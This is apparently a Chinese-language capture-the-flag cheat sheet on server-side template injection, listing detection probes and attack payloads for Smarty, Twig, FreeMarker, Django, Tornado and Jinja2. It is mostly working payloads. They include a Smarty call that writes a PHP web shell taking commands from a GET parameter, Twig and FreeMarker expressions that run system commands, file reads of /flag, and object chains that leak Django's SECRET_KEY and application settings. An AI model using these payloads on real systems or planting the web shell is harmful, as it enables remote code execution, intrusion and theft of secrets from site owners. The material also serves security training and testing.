模板框架:
代码语言:javascript复制PHP:
Smarty
Twig
Blade
Java:
JSP
FreeMarker
Velocity
Python:
Jinja2
django
tornado
Smarty
验证方法:
代码语言:javascript复制{7*7} //49
{$xxx} //返回一个php变量
内置标签:
代码语言:javascript复制//if标签
{if}{/if}
{if readfile('/flag')}{/if}
//php标签(能够执行php命令)(3.1版本已经废弃)
{php}{/php}
{php}echo 1;{/php}
//literal标签
{literal}{/literal}
{literal}<script language="php">phpinfo();</script>{/literal} //php7以上不支持
特殊变量:
代码语言:javascript复制//版本信息
{$smarty.version}
//当前模板的文件名
{$smarty.template}
Smarty在模板中无法直接调用 php 中直接执行命令的函数。 $smarty内置变量可用于访问各种环境变量,使用self得到smarty类。
payload:
代码语言:javascript复制//读文件
{self::getStreamVariable("file:///proc/self/loginuid")}
//写文件
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
Twig
验证方法:
代码语言:javascript复制{{9 * 9}} //81
{{9 * '9'}} //81
Twig无法调用静态方法,并且所有函数的返回值都转换为字符串,因此不能使用 self:: 调用静态变量。
payload:
代码语言:javascript复制{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
freeMarker
payload:
代码语言:javascript复制<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
Django
paload:
代码语言:javascript复制{user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}
{user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}
Tornado
payload:
代码语言:javascript复制{{handler.settings}}
{{self.application.settings}}
Flask/jinja2
验证方法:
代码语言:javascript复制{9 * 9} #81
{9 * '9'} #999999999
特有变量:
- config
- request
- session
函数:
- url_for() 根据传入的路由器函数名,返回该路由对应的URL
- get_flashed_messages() 获取消息列表
利用:
代码语言:javascript复制# 获取当前空间可用的模块,变量,函数
{{url_for.__globals__}}
{{get_flashed_messages.__globals__}}